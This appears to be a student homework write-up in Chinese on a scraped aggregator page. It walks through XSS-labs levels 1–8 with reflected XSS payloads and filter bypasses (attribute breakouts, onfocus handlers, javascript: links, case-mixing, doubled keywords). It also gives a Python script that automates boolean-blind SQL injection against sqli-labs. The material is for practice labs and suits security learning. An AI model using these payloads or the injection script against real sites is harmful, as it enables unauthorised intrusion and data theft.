当前位置: 首页 > news >正文

XSS-labs 1-8关

作业一:XSS-labs 1-8关

闯关前准备工作如下:

环境搭建:使用PHPStudy部署

测试工具:Burp Suite(抓包)

下载 xss-labs,并解压后放到 phpstudy_pro 的 WWW 目录下,重命名为 xss-labs

之后访问 http://localhost/xss-labs/

Level  1(直接注入)

漏洞点:GET参数name未过滤直接输出到HTMLGET

Payload

<script>alert('xss')</script>

原理:服务端未转义用户输入,直接拼接至<h2>标签中

Level  2(闭合属性值)

漏洞点:输入框的alue属性未过滤,但<h2>内容被转义

Payload

">  <script>alert()</script>  <"

技巧:闭合value的双引导,利用未过滤的输入点注入脚本

查看源代码

 搜索框输入<script>alert()</script>没有成功

查看源码,输入的<script>alert()</script>在<input>标签的value中,需要">闭合

 搜索框输入"><script>alert()</script> 

Level  3(事件触发绕过)

漏洞点:<和>被转义,但单引号未过滤

Payload

' onfocus=javascript:alert() '

原理:通过onfocus事件在输入框获得焦点时触发脚本。onfocus事件就是当输入框被点击的时候,就会触发myFunction()函数,然后我们再配合javascript伪协议来执行javascript代码

先输入<script>alert()</script>,查看网页源代码   发现符号被实体化了

利用onfocus事件绕过,输入框输入' οnfοcus=javascript:alert() ',再点击输入框

Level  4(双引号闭合)

漏洞点:双引号闭合属性值,过滤逻辑与Level 3相反。

Payload

" onfocus=javascript:alert() "

技巧:调整引号类型以适应服务端过滤规则。

输入<script>alert()</script>,查看源代码,发现符号也被实体化了

利用onfocus事件绕过,双引号闭合,输入框输入" οnfοcus=javascript:alert() ",再点击输入框

Level  5(<a>标签利用)

漏洞点:on和script被过滤为o_n和scr_ipt

Payload

"><a href="javascript:alert(1)">xss</a><"

绕过:利用<a>标签的href属性执行JavaScript伪协议。

点击xss

Level  6(大小写绕过)

漏洞点:关键字过滤未统一大小写。

Payload

"><sCript>alert()</sCript><"

技巧:通过混合大小写绕过黑名单检测。

Level  7(双写绕过)

漏洞点:script被替换为空,但仅过滤一次。

Payload

"><scscriptript>alert()</scscriptript><"

原理:双写敏感词使过滤后仍保留有效字符。

输入关键字" OnFocus <sCriPt> <a hReF=javascript:alert()>,查看网页源代码

采用双拼写绕过"><scscriptript>alert()</scscriptript>

Level  8(html 实体编码)

漏洞点:href属性自动解码Unicode。

Payload:javascript:alert(1)

输入javascript:alert()查看网页源码

javascript:alert(1)编码如下 

输入javascript:alert(), 点击友情链接

作业二:python实现自动化sql布尔盲注(二分查找) 

import requests
# 目标URL
url = "http://localhost/sqli-labs/Less-8/“
# 要推断的数据库信息(例如:数据库名)
database_name = ""
# 字符集(可以根据需要扩展)
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
def get_database_length():    # 推断数据库名的长度length = 0while True:length += 1payload = f"1' AND (SELECT length(database()) = {length}) -- "response = requests.get(url, params={"id": payload})if "You are in..........." in response.text:return lengthif length > 50:  # 防止无限循环breakreturn 0
# 使用二分查找推断数据库名
def get_database_name(length):db_name = ""for i in range(1, length + 1):left, right = 0, len(charset) - 1while left <= right:mid = (left + right) // 2char = charset[mid]payload = f"1' AND (SELECT substring(database(), {i}, 1) >= '{char}') -- "response = requests.get(url, params={"id": payload})if "You are in" in response.text:left = mid + 1else:right = mid - 1db_name += charset[right]return db_name
# 主函数
if __name__ == "__main__":length = get_database_length()if length > 0:print(f"数据库名长度: {length}")db_name = get_database_name(length)print(f"数据库名: {db_name}")else:print("无法确定数据库长度。")

 输出结果

数据库名长度: 8
数据库名: security

http://www.xdnf.cn/news/1132597.html

相关文章:

  • 系统性学习C语言-第十八讲-C语言内存函数
  • 从零开始的云计算生活——番外4,使用 Keepalived 实现 MySQL 高可用
  • xss-lab1-8关
  • AWS ML Specialist 考试备考指南
  • Liunx练习项目6-创建dns服务器
  • 图机器学习(10)——监督学习中的图神经网络
  • AI Agent开发学习系列 - langchain之LCEL(1):LangChain LCEL链式编排与RAG增强实践
  • 新手向:自动化图片格式转换工具
  • orfeotoolbox ResetMargin
  • 硬件设计学习DAY3——电源Buck电路深度解析:CCM/DCM/BCM模式与电感设计
  • Linux运维新手的修炼手扎之第21天
  • 【论文阅读】A Survey on Knowledge-Oriented Retrieval-Augmented Generation(4)
  • Kotlin比较接口
  • Kotlin获取集合中的元素操作
  • 力扣-146.LRU缓存机制
  • Xsens人形机器人拟人动作AI训练,提升机器人工作精度与效率
  • MybatisPlus-11.IService的批量新增
  • 高性能架构模式——高性能缓存架构
  • alpineLinux修改包管理为国内源
  • 【Linux】基本指令详解(二) 输入\输出重定向、一切皆文件、认识管道、man、cp、mv、echo、cat
  • LVS集群搭建
  • OpenCV稠密光流估计的一个类cv::optflow::DenseRLOFOpticalFlow
  • [AI-video] 字幕服务 | 视频素材服务 | 视频生成服务
  • 智能电网时代:双向WiFi电表在海外家庭能源中的战略价值
  • C++---emplace_back与push_back
  • 网络爬虫的相关知识和操作
  • lazyvim恢复gt键
  • 项目流程管理系统使用建议:推荐13款
  • 【27】MFC入门到精通——MFC 修改用户界面登录IP IP Address Control
  • DHTMLX Suite 9.2 重磅发布:支持历史记录、类Excel交互、剪贴板、拖放增强等多项升级